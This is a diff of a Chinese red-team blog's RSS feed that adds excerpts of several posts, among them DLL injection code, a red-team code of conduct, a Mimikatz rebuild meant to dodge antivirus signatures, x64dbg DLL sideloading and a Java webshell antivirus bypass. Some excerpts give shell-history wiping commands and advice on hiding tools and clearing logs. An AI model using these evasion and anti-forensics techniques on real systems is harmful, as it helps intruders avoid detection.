style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;WaitForSingleObject(LoadLibraryA thread) failed. Error code: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> GetLastError() <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">9</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Ok, finished dll injection.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>签名情况:</p>红队行动守则https://payloads.online/archivers/2023-08-10/redteam-operation-code-of-conduct/Thu, 10 Aug 2023 00:00:00 +0000https://payloads.online/archivers/2023-08-10/redteam-operation-code-of-conduct/<!-- raw HTML omitted --> <!-- raw HTML omitted --> <h2 id="攻击注意事项">攻击注意事项</h2> <ul> @@ -335,7 +732,40 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 -</span></code></pr记录一下配置Clash透明代理https://payloads.online/archivers/2023-08-07/clash-config/Mon, 07 Aug 2023 00:00:00 +0000https://payloads.online/archivers/2023-08-07/clash-config/<!-- raw HTML omitted --> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>python -c <span style="color:#e6db74">&#39;import pty;pty.spawn(&#34;/bin/sh&#34;)&#39;</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e"># or</span> +</span></span><span style="display:flex;"><span>unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; +</span></span><span style="display:flex;"><span>export HISTFILE<span style="color:#f92672">=</span>/dev/null; +</span></span><span style="display:flex;"><span>export HISTSIZE<span style="color:#f92672">=</span>0; +</span></span><span style="display:flex;"><span>export HISTFILESIZE<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> +</span></span></code></pre></td></tr></table> +</div> +</div><ul> +<li>操作合规:非必要情况下,不修改任何服务器用户密码</li> +<li>操作合规:非必要情况下,不使用破坏性较强的Exploit或者工具</li> +<li>操作合规:非必要情况下,不要对内网进行大规模探测 例如不要/8</li> +<li>操作合规:非必要情况下,切勿上来就进行扫描探测,先应对当前主机做详细的信息搜集和分析</li> +<li>工具存放:工具统一存放在隐藏目录下,文件名称命名为服务进程(tomcat/nginx)等,有AV/EDR情况,工具应先本地测试免杀之后,再落地到目标服务器,最好有多个平替工具</li> +</ul> +<h2 id="反溯源注意事项">反溯源注意事项</h2> +<ul> +<li>外网攻击时:尽量使用虚拟机进行渗透,并且测试时不提交包含个人特征信息的手机号码、QQ、微信、其他信息,最好日常工作的浏览器和渗透攻击的浏览器用两个。一般我会创建攻击机的虚拟机快照,项目结束恢复初始状态,干干净净。</li> +<li>内网攻击时:攻击结束必须进行痕迹清理,及时删除自用软件,如Webshell、免杀上线马、0day工具、扫描工具、自研工具,甚至包含系统日志。</li> +<li>短线社工钓鱼:尽量避开技术人员,从非技术人员入手,钓鱼信息为非实名信息</li> +<li>短线社工钓鱼:远程获取的可执行文件,谨慎点击(尤其是VPN客户端,谨防蜜罐),可以上传各类沙箱进行检测,同时运行可以采用虚拟机的方式。</li> +<li>在开源社区获得系统或工具源代码后,谨慎打开,防止IDE的编译、加载、调试选项内藏上线命令。</li> +</ul> +<h2 id="职业操守">职业操守</h2> +<ul> +<li>禁止下载、更改业务数据(企业数据),修改业务系统密码(如路由器、Web站点后台、VPN)降低业务影响。</li> +<li>禁止使用会造成不良后果的攻击方式(如DDOS攻击)。</li> +<li>测试结束后删除Webshell等恶意文件或记住固定存放位置。</li> +<li>禁止使用境外跳板机、VPN。</li> +<li>使用统一攻击资源与授权攻击工具。</li> +<li>对项目、行动内容在公开场合进行保密,不产生任何舆论影响。</li> +</ul>记录一下配置Clash透明代理https://payloads.online/archivers/2023-08-07/clash-config/Mon, 07 Aug 2023 00:00:00 +0000https://payloads.online/archivers/2023-08-07/clash-config/<!-- raw HTML omitted --> <!-- raw HTML omitted --> <h1 id="clash是什么">📝Clash是什么?</h1> <p><a href="https://github.com/Dreamacro/clash">https://github.com/Dreamacro/clash</a></p> @@ -375,7 +805,47 @@ <p> <img src="https://images.payloads.online/2024-07-29-0901705e6c5f3cc7db29338176b4c9558f1e87bf3a5e092df44706d38ae89b61.png" alt="2"> -</p>常用软件记录https://payloads.online/archivers/2023-07-19/useful-software/Wed, 19 Jul 2023 00:00:00 +0000https://payloads.online/archivers/2023-07-19/useful-software/<!-- raw HTML omitted --> +</p> +<p>由于这个项目是采用C#开发的,所以我们着重关注C#相关的配置:</p> +<p> + <img src="https://images.payloads.online/2024-07-29-1b7abdb53043453e086a25620f4411330f445299864c87d91beb53bc87a47890.png" alt="3"> + +</p> +<p>在Before build script中输入如下命令,会在开始编译之前去下载这个项目所依赖的库:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>nuget restore +</span></span></code></pre></td></tr></table> +</div> +</div><!-- raw HTML omitted --> +<p>在开发.NET应用程序时,通常会使用NuGet来管理项目所依赖的第三方库和组件。NuGet是.NET生态系统中最受欢迎的包管理器之一,它提供了一个中央存储库,开发人员可以从中获取各种软件包和库。</p> +<p>&ldquo;nuget restore&quot;命令会读取项目文件(.csproj或.vbproj)中的依赖关系,并下载或还原所需的NuGet包,以确保项目可以成功编译和构建。这个命令通常在CI/CD(持续集成/持续交付)过程中使用,以确保在构建项目之前,所有的依赖关系都被正确地还原和安装。</p> +<!-- raw HTML omitted --> +<p>除此之外,还可以在环境配置中设置安装开发库的命令:</p> +<p> + <img src="https://images.payloads.online/2024-07-29-d2dbacd81fcf3c3ae4c2d9dad8dbfaafff18b18a138d0b6d46d966c00c66e23c.png" alt="4"> + +</p> +<p>最后一步就是设置二进制文件打包了,点击artifacts,可以配置要打包的路径,必须是相对路径,C#的程序一般会将二进制文件生成到bin目录下,所以我这里就写:etrace\bin</p> +<p> + <img src="https://images.payloads.online/2024-07-29-250ee79944bc86c985221b13aee115fb153e56ca50d88d16799a3eebb3d29c44.png" alt="5"> + +</p> +<p>保存后,回到项目页面,点击Start New Build就开始构建了:</p> +<p> + <img src="https://images.payloads.online/2024-07-29-51d2f8ad59c102c96729da44ee8c88a28706eefb90c6a52e00e4ae94c055db8b.png" alt="6"> + +</p> +<p>稍微等待一下,就可以看到构建好的程序了,直接下载就可以使用。</p> +<p> + <img src="https://images.payloads.online/2024-07-29-71e3d69c746a01016da0b57aa98abcd4de9029ce06eec2f5ef3127062e78cb7d.png" alt="7"> + +</p> +<h2 id="使用appveyor构建mimikatz">使用AppVeyor构建Mimikatz</h2> +<p>Mimikatz是<a href="https://github.com/gentilkiwi">gentilkiwi</a>使用C语言开发的Windows安全工具,该工具有着丰富的功能,能过从内存中提取明文密码,哈希,PIN码和kerberos票据、哈希传递等等,随着越来越多的黑客滥用此工具进行一些非法活动,因此<a href="https://github.com/gentilkiwi">gentilkiwi</a>每发布一个Release,Release中的Mimikatz样本就会被标记为黑客工具,这对红队带来了一些小麻烦,通过AppVeyor我们可以自动化的做一些静态特征处理,然后自动构建产生新的工具。</p>常用软件记录https://payloads.online/archivers/2023-07-19/useful-software/Wed, 19 Jul 2023 00:00:00 +0000https://payloads.online/archivers/2023-07-19/useful-software/<!-- raw HTML omitted --> <!-- raw HTML omitted --> <h3 id="操作系统-镜像">操作系统-[镜像]</h3> <ul> @@ -498,7 +968,25 @@ <p>2019的部分总结:我非常热爱技术,什么都想会一点,至今为止都觉得全能高手是存在的,也不会浮躁,只优先选择自己热爱的,这点是有些固执的,时常沉浸其中、乐在其中,做技术带给我的反馈有很多,它不断的印证一就是一,不管如何都不会变成二。其次,不断印证类似于成功学中的大道理,努力就有收获之类的话题。技术是我的爱好,而我的工作建设在爱好之上,这对于许多人来说是多么幸福的一件事啊。但有一天我开始怀疑,因为我从一个前辈身上感受到,他除了有和我相同类似的工作的同时,还拥有一个更热爱的爱好,我觉得这是对幸福的一种加持。我开始觉得工作与爱好的融合会让爱好变得浑浊,不那么纯粹。工作是有棱角的,而爱好是没有棱角的。这样的情况普遍也很多,这倒也还算过得去。</p> <p>2020年的部分总结:从2020年X月起初到2020年X月份,实验室成员目前达到X人,现有工作需求的技术都慢慢开始饱和。从年初刚开始的X人发展到X人,期间遇到项目上、管理上的许多问题,问题的最初在我自身,在明确方向的工作上和需要执行的工作上没有平衡,欠缺思考的时间。通过逐步的现象总结,能够解决一部分问题,强调了关于部门价值观、绩效考核、工作效率等等问题,但这种方式不能够持续解决已经遇到过的问题,于是开始落地标准化来形成管理工具,我发现我的日常思考的结果是存在某些管理框架内的,是有特定的方法的,这对于我自身是很大的提升。</p> <p>个人技能:从去年到现在一直在推荐落地Demo这块工作,我发现内部已经形成感染力,对于一些研究、实战的需求有了更多的思考。从技术成长的角度来看,需要发展成为“T”字型人才,这样才能应对更多的考验,自身擅长的方向有一定沉淀,以“专精之余而触类旁通”来规划自己一个阶段的学习方向,管理好精力与时间是我有待练习和加强的。</p> -<p>2021年的部分总结:每一个企业都有战略资源部门,我理解的战略资源部门是这个部门的能力具备稀缺性的,复制需要巨大成本,如果利用得当,会产生巨大增益,反之当战略资源投入的衡量方式有问题就会产生战略资源部门管理上的压力,我所处于的就是一个战略资源部门,我长期以来遇到最大的问题就是关于战略价值的衡量,哪种类型的项目需要投入多少资源可能是项目管理上屡见不鲜的问题,对于PM来说,解决这种问题一定是有现成的公式或者工具,但作为一个Leader,考虑的因素就要多很多了,尤其是团队平均年龄比较年轻的,要为大家争取最大的利益,而且这种利益还可能是一种不可见的长远利益,你不能奢求大多数人可以理解,多数的牺牲是看不见的。</p>分享一下最近使用Arch Linux的感受https://payloads.online/archivers/2022-09-03/1/Sat, 03 Sep 2022 00:00:00 +0000https://payloads.online/archivers/2022-09-03/1/<p> +<p>2021年的部分总结:每一个企业都有战略资源部门,我理解的战略资源部门是这个部门的能力具备稀缺性的,复制需要巨大成本,如果利用得当,会产生巨大增益,反之当战略资源投入的衡量方式有问题就会产生战略资源部门管理上的压力,我所处于的就是一个战略资源部门,我长期以来遇到最大的问题就是关于战略价值的衡量,哪种类型的项目需要投入多少资源可能是项目管理上屡见不鲜的问题,对于PM来说,解决这种问题一定是有现成的公式或者工具,但作为一个Leader,考虑的因素就要多很多了,尤其是团队平均年龄比较年轻的,要为大家争取最大的利益,而且这种利益还可能是一种不可见的长远利益,你不能奢求大多数人可以理解,多数的牺牲是看不见的。</p> +<p>我解决这个问题的办法是不断的跨部门沟通,项目分级定义,投入产出对赌,跨部门的效果达到预期以后,我的成就感油然而生,即使在解决的过程中因为自己并不擅长,多次想过要逃避、斗争,但都坚持了下来,因为比起自己看不起自己,更怕的是无法回应太多人的期待。解决完成后,我就开始思考如何让团队的定位和目标更明确,让大家做的事儿更有边界,更贴合自身预期。于是在近年末的期间,让大家开始定制规划2022年的目标,将更多的力量投入到中台建设工作上来,这可能是对大家也是一个不小的挑战,尤其在思维上、技术上,相信大家一定可以。</p> +<p>这里简单晒一下我在今年离职前做职级晋升准备上报的近两年重点工作成果(日常交付项目除外):</p> +<p>一、业绩成果:</p> +<ol> +<li>2021年大型攻防演练现场牵头,作为现场队长将传递有效信息到后端,现场编写技战法与报告整理,且代表公司获得HW BP讲师称号及证书</li> +<li>2022年大型攻防演练总牵头,前期预算申报、人员分组、方案制定、质量把控,带领团队拉通各部门进行红队工作</li> +</ol> +<p>二、机制建设:</p> +<ol> +<li>业绩承诺机制管理规定发布,明确了XX中心与XX中心内部,在红队资源申请及业绩承诺机制之间的基本原则,用于规范红队支撑,最大限度优化、聚焦红队资源,使之发挥最优的价值。指导红队支撑工作中产生的各类费用核算方法,XX中心、XX中心、XX部、XX部应按照本规定落实相关的核算工作,并逐步推进财务核算精细化管理。</li> +<li>持续推进红队中台能力建设,XX实验室红队平台的功能评审、需求反馈、漏洞和工具与XX实验室KPI绑定,辅助XX实验室持续迭代平台,至今已初步发挥价值,有用户且有业绩</li> +<li>公司红队梯队建设,在X总的建议下,与其他同事制定了XX中心红队的梯队建设模式、红队激励覆盖范围等机制</li> +<li>红队漏洞储备机制建设,设定XX实验室漏洞挖掘KPI,明确产出,并且提供到XX实验室漏洞平台,建立0day漏洞申请机制</li> +</ol> +<p>三、影响力</p> +<p>对外: 编写红队彩虹书增加公司对外影响力,2021年编写红队彩虹书成功发布、2022年年初负责牵头编写红队彩虹书,跟进修订、修改,最终成功上市发布 +对内:任职资格标准修订,作为标准修订组长角色对2021年的任职资格标准重新修订,为红队方向发展人员提供晋升参考</p> +<p>这三年不仅具备了相对丰富的红队技术和业务经验,也尝试了一线的管理工作,往日与大家战斗的日子历历在目,在公司不知看过多少次日出,享受过红队那份荣耀、维护过红队那份骄傲,我的故事留在了这里,感恩那些包容过我的朋友、同事们,所有的离别都是为了更好的相遇……</p>分享一下最近使用Arch Linux的感受https://payloads.online/archivers/2022-09-03/1/Sat, 03 Sep 2022 00:00:00 +0000https://payloads.online/archivers/2022-09-03/1/<p> <img src="https://images.payloads.online/2022-09-03-13-58-46.png" alt=""> </p> @@ -522,7 +1010,22 @@ <p> <img src="https://images.payloads.online/2022-09-03-13-55-52.png" alt=""> -</p>x64dbg中的白加黑利用https://payloads.online/archivers/2022-08-17/1/Wed, 17 Aug 2022 00:00:00 +0000https://payloads.online/archivers/2022-08-17/1/<h2 id="0x00-何谓白加黑">0x00 何谓白加黑?</h2> +</p> +<p> + <img src="https://images.payloads.online/2022-09-03-13-55-58.png" alt=""> + +</p> +<p>游戏方面,当属Steam为主了,只要是支持Linux平台的都可以完美运行。</p> +<p> + <img src="https://images.payloads.online/2022-09-03-13-56-10.png" alt=""> + +</p> +<p> + <img src="https://images.payloads.online/2022-09-03-13-56-18.png" alt=""> + +</p> +<p>支持Linux的大作游戏并不多,如果是重度游戏患者可能不太适合Linux,对于我而言,Arch Linux未来可能会陪伴我走很多年。</p> +<p>我安装的软件包列表都在Github仓库自动更新:https://github.com/Rvn0xsy/pacman-pkg</p>x64dbg中的白加黑利用https://payloads.online/archivers/2022-08-17/1/Wed, 17 Aug 2022 00:00:00 +0000https://payloads.online/archivers/2022-08-17/1/<h2 id="0x00-何谓白加黑">0x00 何谓白加黑?</h2> <p>在木马样本与杀毒软件的对抗中,再隐蔽的木马在被发现的那一刻,它的这一生就结束了。杀毒软件厂商通过SHA1/2、MD5等算法取得样本的唯一值来构建云端的特征库,当下一次攻击发生时,将会通过特征库进行比对,因此成本对抗不言而喻,红队的木马需要重新修改、编译,大大增加了对抗的时间、精力,这就是威胁情报的一种价值。反观有些软件确实会需要开发一些敏感行为的功能,如修改注册表、屏幕录像截图但这些是用户知情且授权的行为,这时杀毒软件再进行拦截的话,将大大降低软件使用的体验,所以出现了软件签名技术可以解决这类问题,当然软件签名技术不仅仅是为了只解决这一个问题而出现的。有些APT组织会通过控制软件开发商的代码仓库进行投毒或者通过入侵软件开发商来窃取签名,给自己的木马加上签名验证,杀毒软件遇到签名将会默认信任这个程序。但攻击软件开发商所需要投入的成本也相对比较高,telegram上也出现了花钱签名的服务,不过白嫖怪的数量可比金主爸爸要多,白嫖怪为了得到一个可以以签名程序运行自己任意代码的条件就会去挖掘一些软件厂商的程序是否存在DLL劫持漏洞,利用DLL劫持的特性达到披着羊皮的狼的目的。现阶段基本上大多数的APT组织在进行权限维持都会采用白加黑的技术来绕过杀毒软件的拦截和检测(特殊行为除外)。本文将会分享一个关于x64dbg这款调试工具的白加黑利用技巧。</p> <h2 id="0x02-x64dbg的dll加载组件">0x02 x64dbg的DLL加载组件</h2> <p><a href="https://github.com/x64dbg/x64dbg">x64dbg</a> 是一个开源的Windows平台下的调试工具,相比于OllyDbg我更喜欢x64dbg。打开x64dbg的目录,可以看到有一个loaddll.exe程序,顾名思义,它一定具有dll加载的功能。</p> @@ -556,7 +1059,34 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23 -</span></code></pr通过动态链接库绕过反病毒软件Hook - Break JVMhttps://payloads.online/archivers/2022-08-11/1/Thu, 11 Aug 2022 17:23:32 +0800https://payloads.online/archivers/2022-08-11/1/<h2 id="0x00-前言">0x00 前言</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;windows.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">wchar_t</span> szLibraryPath[<span style="color:#ae81ff">512</span>]; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>() +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">wchar_t</span> szName[<span style="color:#ae81ff">256</span>]; +</span></span><span style="display:flex;"><span> wsprintfW(szName, <span style="color:#e6db74">L</span><span style="color:#e6db74">&#34;Local</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">szLibraryName%X&#34;</span>, (<span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span>)GetCurrentProcessId()); +</span></span><span style="display:flex;"><span> HANDLE hMapFile <span style="color:#f92672">=</span> OpenFileMappingW(FILE_MAP_READ, false, szName); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(hMapFile) +</span></span><span style="display:flex;"><span> { +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span><span style="color:#f92672">*</span> szLibraryPathMapping <span style="color:#f92672">=</span> (<span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span><span style="color:#f92672">*</span>)MapViewOfFile(hMapFile, FILE_MAP_READ, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>, <span style="color:#66d9ef">sizeof</span>(szLibraryPath)); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(szLibraryPathMapping) +</span></span><span style="display:flex;"><span> { +</span></span><span style="display:flex;"><span> lstrcpyW(szLibraryPath, szLibraryPathMapping); +</span></span><span style="display:flex;"><span> UnmapViewOfFile(szLibraryPathMapping); +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> CloseHandle(hMapFile); +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(szLibraryPath[<span style="color:#ae81ff">0</span>]) +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> (LoadLibraryW(szLibraryPath) <span style="color:#f92672">!=</span> NULL); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>代码非常简单,大致功能是读取本地系统上一个文件映射具柄,从文件映射句柄中获取要加载的dll文件路径。文件句柄的名称包含了当前进程的PID,是不固定的。那么如何实现任意文件加载呢?</p>通过动态链接库绕过反病毒软件Hook - Break JVMhttps://payloads.online/archivers/2022-08-11/1/Thu, 11 Aug 2022 17:23:32 +0800https://payloads.online/archivers/2022-08-11/1/<h2 id="0x00-前言">0x00 前言</h2> <p>通常情况下获得Java Webshell碰到数字杀毒的场景居多,在这个环境中经常会遇到无法执行命令或命令被拦截的情况,很多小伙伴遇到这个问题就劝退了,我猜测是有一套进程链的检测方式导致了命令无法执行,于是去查看Java的文档,查阅到Java能够加载动态链接库且能够执行动态链接库中的代码,本文演示如何利用Java加载动态链接库的方式实现绕过了数字杀毒的拦截,但在演示之前,需要铺垫一些基础知识,如:猜想的进程链、Windows错误代码、Java加载动态链接库常见的三种办法、Windows动态链接库、土豆提权原理、命名管道技术等。</p> <h2 id="0x01-猜想的进程链">0x01 猜想的进程链</h2> <p>在获取Webshell以后,一般执行命令都会调用 <code>Runtime.exec</code> ,当然也有其他的命令执行方式,这里不再讨论,执行的命令一般分为两种:</p> @@ -588,7 +1118,20 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">8 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">9 -</span></code></pr通过Windows RPC批量寻找“出网”机器https://payloads.online/archivers/2022-03-04/1/Fri, 04 Mar 2022 17:23:32 +0800https://payloads.online/archivers/2022-03-04/1/<h2 id="0x00-windows-rpc">0x00 Windows RPC</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">main</span>(String<span style="color:#f92672">[]</span> args) { +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">try</span> { +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// String cmdStr = &#34;cmd.exe /c forfiles.exe /p C:\\&#34; ;</span> +</span></span><span style="display:flex;"><span> String cmdStr <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;forfiles.exe /p C:\\&#34;</span> ; +</span></span><span style="display:flex;"><span> Runtime.<span style="color:#a6e22e">getRuntime</span>().<span style="color:#a6e22e">exec</span>(cmdStr); +</span></span><span style="display:flex;"><span> }<span style="color:#66d9ef">catch</span>(Exception e){ +</span></span><span style="display:flex;"><span> e.<span style="color:#a6e22e">printStackTrace</span>(); +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>这样虽然不会创建进程,但大部分命令还是会拦截,例如:net.exe net1.exe</p>通过Windows RPC批量寻找“出网”机器https://payloads.online/archivers/2022-03-04/1/Fri, 04 Mar 2022 17:23:32 +0800https://payloads.online/archivers/2022-03-04/1/<h2 id="0x00-windows-rpc">0x00 Windows RPC</h2> <p>RPC(Remote Procedure Call)远程过程调用协议,一种通过网络从远程计算机上请求服务,而不需要了解底层网络技术的协议。RPC它假定某些协议的存在,例如TCP/UDP等,为通信程序之间携带信息数据。在OSI网络七层模型中,RPC跨越了传输层和应用层,RPC使得开发,包括网络分布式多程序在内的应用程序更加容易。在Windows操作系统中,<a href="https://docs.microsoft.com/en-us/windows/win32/rpc/rpc-start-page">RPC(Remote Procedure Call)</a> 已经存在了许久,一些漏洞挖掘研究员也已经将RPC相关的漏洞挖的差不多了。但是想要调用Windows RPC接口完成某些事情,我感觉比直接使用Windows API麻烦很多,最近一直在看Windows RPC相关的知识,也实现了一些小工具,但最终我发现还是<a href="https://github.com/SecureAuthCorp/impacket">impacket</a>香!</p> <p>Windows RPC实现的小工具-远程/本地创建任务计划:</p> <p> @@ -622,7 +1165,31 @@ <p> <img src="https://images.payloads.online/2022-03-04-18-46-02.png" alt=""> -</p>利用NPM仓库充当文件托管服务https://payloads.online/archivers/2022-03-01/1/Tue, 01 Mar 2022 17:23:32 +0800https://payloads.online/archivers/2022-03-01/1/<h2 id="0x00-什么是npm">0x00 什么是NPM?</h2> +</p> +<p>假设Kali Linux具有192.168.117.0/24网段内的通用口令凭据,只有Windows 10可以访问互联网,那么常规的办法就是逐个让这些机器访问某个互联网地址,然后看哪一个请求成功了,最终请求成功的那个必定是可以访问互联网的。通过常规办法会有比较大的“动静”,也可能需要落地一些文件,产生更多的日志。</p> +<h2 id="0x02-通过rpcopenprinter作为代理访问">0x02 通过<strong><strong>RpcOpenPrinter作为代理访问</strong></strong></h2> +<p><a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/989357e2-446e-4872-bb38-1dce21e1313f">RpcOpenPrinter</a> 是一个工作在<a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1">MS-RPRN</a>协议下的监视打印机的句柄方法,方法定义如下:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>DWORD <span style="color:#a6e22e">RpcOpenPrinter</span>( +</span></span><span style="display:flex;"><span> [in, string, unique] STRING_HANDLE pPrinterName, +</span></span><span style="display:flex;"><span> [out] PRINTER_HANDLE<span style="color:#f92672">*</span> pHandle, +</span></span><span style="display:flex;"><span> [in, string, unique] <span style="color:#66d9ef">wchar_t</span><span style="color:#f92672">*</span> pDatatype, +</span></span><span style="display:flex;"><span> [in] DEVMODE_CONTAINER<span style="color:#f92672">*</span> pDevModeContainer, +</span></span><span style="display:flex;"><span> [in] DWORD AccessRequired +</span></span><span style="display:flex;"><span> ); +</span></span></code></pre></td></tr></table> +</div> +</div><p>第一个参数<code>pPrinterName</code>是打印机的地址,格式支持:</p>利用NPM仓库充当文件托管服务https://payloads.online/archivers/2022-03-01/1/Tue, 01 Mar 2022 17:23:32 +0800https://payloads.online/archivers/2022-03-01/1/<h2 id="0x00-什么是npm">0x00 什么是NPM?</h2> <p>NPM是随同NodeJS一起安装的包管理工具,NPM可以通过NPM的源下载安装源上发布的JS代码。目前官方源的地址是:https://www.npmjs.com/ 任何人都可以在社区上发布自己的Nodejs代码,但NPM官方的服务器是在境外的,国内想要快速的访问到就必须通过同步源,于是出现了各种NPM镜像源,每隔一段时间就会拉取官方的源同步。既然任何人都可以发布自己的代码到NPM上,我们就可以把NPM的仓库当作一个简单的文件服务器存储一些能够适当公开的静态文件。</p> <h2 id="0x01-托管代码前的准备工作">0x01 托管代码前的准备工作</h2> <p>NPM的认证机制是双因素的(密码+邮箱验证码),注册的时候需要提供真实邮箱:<a href="https://www.npmjs.com/signup">https://www.npmjs.com/signup</a></p> @@ -652,6 +1219,42 @@ <p> <img src="https://images.payloads.online/2022-03-01-18-02-49.png" alt=""> +</p> 